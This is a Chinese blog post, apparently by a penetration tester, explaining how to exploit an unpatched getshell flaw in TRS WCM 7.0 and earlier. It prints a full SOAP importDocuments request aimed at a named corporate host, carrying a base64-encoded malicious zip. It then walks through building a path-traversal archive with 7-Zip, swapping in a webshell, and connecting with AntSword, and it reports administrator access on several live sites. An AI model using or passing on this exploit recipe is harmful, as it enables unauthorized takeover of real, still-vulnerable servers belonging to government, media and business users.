0x01. 背景 TRS内容协作平台(TRS
Web Content Management,简称:TRS WCM)涵盖网站建立、内容服务、内容传递等内容价值链的各个方面,在政府、媒体、企业等行业应用中使用较广,之前在项目中金融客户的内网做渗透测试时第一次接触这套系统(当时第一次听说这个系统,还是V7版本,最后也只发现了一个存储xss,后来一了解,这套系统在很多行业的内部网络中经常出现的。) 去年年底乌云上爆了一个TRSWCM的全版本Getshell漏洞,TRSWCM全版本GETSHELL漏洞还是很火的,228的关注度,但是测试的EXP乌云不给看了。 如图:
对于仅剩6颗wb每天才能进Zone跟大神学习的小菜来说, 要付6wb查看,打心里是拒绝的。好想吐槽这个机制。。 后来白帽子:小胖子发了一个漏洞,Getshell到海尔主站… , 感谢这位白帽子和我同事提供的测试详情,所以才写出了自己使用的POC和EXP。(PS:早在年前同事就说这漏洞已经在批量利用了,这就是差距。。) 0x02. POC或EXP实现思路
关于这个漏洞的原理和详情请到乌云上去查看,这里主要贴出我自己在做渗透测试用的工具的实现思路。 看了小胖子的漏洞详情,这个漏洞的利用主要是构造像于下面这样的基于SOAP协议的POST请求: - POST http://enwcm.haier.com/wcm/services/trswcm:SOAPService HTTP/1.0
- SOAPAction: ""
- Content-Type: text/xml
- Content-Length: 4049
-
- <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://wcm.xasw.gov.cn/wcm/services/trswcm:SOAPService">
- <SOAP-ENV:Header/>
- <SOAP-ENV:Body>
- <importDocuments>
- <in0> yH2lAx/a5YqXvON/ze7+8x//A1BLAQIfABQAAAAIADUhmkeOyaBJaQkAAKcdAAAcACQAAAAAAAAAIAAAAAAAAAAuLi8uLi8uLi8uLi93ZWJwaWMvaGVscC5qc3B4CgAgAAAAAAABABgA4x1VMVA/0QEIa6EfUD/RAZRQYkNPP9EBUEsFBgAAAAABAAEAbgAAAKMJAAAAAA==
- </in0>
- <in1>.zip</in1>
- </importDocuments>
- </SOAP-ENV:Body>
- </SOAP-ENV:Envelope>
复制代码这个漏洞要利用需要满足以下几个条件: webservice接口可以匿名访问 采用默认方式安装 TRSWCM <=7.0版本 具备上面的条件,构造好这个POST请求就可以轻松getshell了。 POC或EXP的区别在于,上面请求中的<in0>xxx</in0>中的base64的值。这是一个压缩文件的base64编码字符串。漏洞发现者applychen牛告诉我们需要构造一个畸形的压缩包文件 如下图:
学到新技能一: 7-zip制作畸形压缩包 构造像上面的畸形压缩包 曾经在ctf中和在看别人发的漏洞中见到过几次通过构造这样的畸形包来读取系统文件、来上传webshell等等。之前知道的都是用winhex这样的16进制编辑器去修改。这次学大牛给的姿势,用压缩软件修改。 第一步: 将要上传的文件使用任意压缩软件做成zip后缀压缩包。 如下图:
第二步: 使用7-Zip打开压缩文件:
此时选中文件“右键”-“重命名“如下图:
如果 我希望测试在目标服务器的网站上通过该漏洞释放一个名叫hello.txt的文件 那么 我将文件名重命名为:..\..\..\..\..\Tomcat\webapps\wcm\hello.txt 然后就完成了这个畸形压缩包的制作了: 如下图:
学到新技能二: winhex获取文件base64编码字符串 制作POST请求中<in0>xx</in0>的值 因为之前用winhex神器较少,所以好多姿势都不知道,这算学到了新技能吧。
第一步: 打开压缩文件,如下图:
第二步: Ctrl + A 选中文件,然后Ctrl + R 如下图: 然后双击Binary-Base64一栏: 然后得到了Base64编码的字符串:
然后File-Save As另存为:cmdpass.zip.txt文件: 然后可以得到压缩包的base64字符串。 0x02. 编写POC如下:
很简单的脚本,参照乌云上小胖子给的代码构造POST请求。
注意添加请求头,这个poc的执行效果如下图:
浏览器打开验证效果:
0x03. 哪么EXP 呢?
其实无所谓什么poc和exp,修改下POST请求中的<in0>xx</in0>的base64值为webshell的值,就是exp了。 思路明确了剩下的就是改改代码的事儿了。(测试了5-6个站,权限都是管理员权限!)
使用蚁剑连接
0x04. 关于修复情况
3个多月过去了,至今没有官网的补丁和更新版本。官网:TRS 产品中心
|